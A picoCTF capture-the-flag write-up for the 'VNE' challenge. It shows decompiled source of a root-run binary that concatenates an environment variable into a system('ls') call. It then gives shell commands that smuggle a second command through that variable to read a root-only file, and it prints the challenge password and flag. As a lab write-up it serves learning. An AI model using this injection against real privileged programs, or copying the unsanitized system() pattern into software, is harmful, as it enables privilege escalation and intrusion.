# PicoCTF - VNE
## Background
System Environment
Command Injection
## Description & Hint
We've got a binary that can list directories as root, try it out !! ssh to saturn.picoctf.net:53176, and run the binary named "bin" once connected. Login as ctf-player with the password, d137d16e
* Hint 1: Have you checked the content of the /root folder
* Hint 2: Find a way to add more instructions to the ls
## Source Code
:::spoiler IDA Main Function
```cpp
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int v4; // ebx
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
const char *v8; // rax
__int64 v9; // rax
__int64 v10; // rax
char v12; // [rsp+3h] [rbp-6Dh] BYREF
unsigned int v13; // [rsp+4h] [rbp-6Ch]
char *v14; // [rsp+8h] [rbp-68h]
char v15[32]; // [rsp+10h] [rbp-60h] BYREF
char v16[40]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v17; // [rsp+58h] [rbp-18h]
v17 = __readfsqword(0x28u);
v14 = getenv("SECRET_DIR");
if ( v14 )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Listing the content of ");
v6 = std::operator<<<std::char_traits<char>>(v5, v14);
v7 = std::operator<<<std::char_traits<char>>(v6, " as root: ");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
std::allocator<char>::allocator(&v12);
std::string::basic_string(v16, v14, &v12);
std::operator+<char>(v15, "ls ", v16);
std::string::~string(v16);
std::allocator<char>::~allocator(&v12);
setgid(0);
setuid(0);
v8 = (const char *)std::string::c_str(v15);
v13 = system(v8);
if ( v13 )
{
v9 = std::operator<<<std::char_traits<char>>(&std::cerr, "Error: system() call returned non-zero value: ");
v10 = std::ostream::operator<<(v9, v13);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
v4 = 1;
}
else
{
v4 = 0;
}
std::string::~string(v15);
}
else
{
v3 = std::operator<<<std::char_traits<char>>(&std::cerr, "Error: SECRET_DIR environment variable is not set");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
return 1;
}
return v4;
}
```
:::
## Recon
這一題也是蠻有趣的,題目有說要先執行bin,可以用winscp遠端把執行檔dump到local端,然後用IDA逆一下,就會發現它其實就是執行ls而已,所以我們就要用簡單的command injection達到RCE
## Exploit
```bash
$ ssh ctf-player@saturn.picoctf.net -p 58395
$ ./bin
Error: SECRET_DIR environment variable is not set
$ export SECRET_DIR=/challenge/
$ ./bin
Listing the content of /challenge/ as root:
config-box.py metadata.json profile
$ export "SECRET_DIR=/;cat /challenge/metadata.json"
$ ./bin
Listing the content of /;cat /challenge/metadata.json as root:
bin challenge etc lib lib64 media opt root sbin sys usr
boot dev home lib32 libx32 mnt proc run srv tmp var
{"flag": "picoCTF{Power_t0_man!pul4t3_3nv_19a6873b}", "password": "d137d16e"}
```
Flag: `picoCTF{Power_t0_man!pul4t3_3nv_19a6873b}`